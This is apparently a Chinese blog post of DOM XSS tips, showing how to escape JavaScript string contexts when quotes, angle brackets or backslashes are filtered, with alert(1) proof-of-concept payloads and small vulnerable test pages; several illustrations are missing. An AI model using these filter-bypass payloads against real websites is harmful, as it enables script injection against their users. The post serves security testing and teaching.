dom xss常用tips

  

分享dom xss的常见tips

 

(1)javascript里面过滤单引号和双引号?

搭建环境:

 

 

 

 

 

只是过滤了单引号和双引号是可以xss:

 

使用<>闭合script即可

</script><img src=1 onerror=alert(1)>

 

 

 

 

 

测试代码:

 

 

<!DOCTYPE html>

<html>

<head>

<title></title>

</head>

<body>

<script type="text/javascript">

document.write("a=可控点,过滤了单引号和双引号无法闭合");

var a='</script><img src=1 onerror=alert(1)>';

</script>

</body>

</html>

 

 闭合的script标签是很灵活的,可以插入脏数据

 

 

 

 

(2)javascript下过滤了(单引号/双引号/<>...),唯独没过滤反斜杠\:

当可控的两个变量在同一个内容下时:

 

 

 

 

测试代码:

<!DOCTYPE html>

<html>

<head>

<title></title>

</head>

<body>

<script type="text/javascript">

document.write("a=可控点,b=可控点,过滤了单引号和双引号无法闭合,同时过滤了<>等特殊字符串");

 

var a='a\',b=';alert(1)//b';

</script>

</body>

</html>

 

 输入:a=\ 和 b=;alert(1)//

 

 

 

 

 

导致这个问题的原因是过度依赖于实体编码了,而没有url编码处理

 

(3)javascript下过滤了(单引号/双引号/<>/包含反斜杠...),唯独没过滤&:

 

很久以前看的老外的案例:

上笔记:

 

 

 

 

发现对参数进行编码处理了:

 

 

 

 

 

 

我猜测导致这个问题的原因是对这个参数特殊照顾了,当我用&xxx的时候那么xxx就是新的参数了,不受前面的特殊照顾

 

 (4)js里对"做了转义处理,诞生没有对\进行转义处理的补充说明:

 

   如果payload为:

\";alert(1)//

 

  那么处理后的数据会变成:\";alert(1)//会变成:\\";alert(1)// 实现逃逸:

  

 

   

 

posted @ 2021-04-27 17:23  飘渺红尘✨  阅读(535)  评论(3)    收藏  举报
Title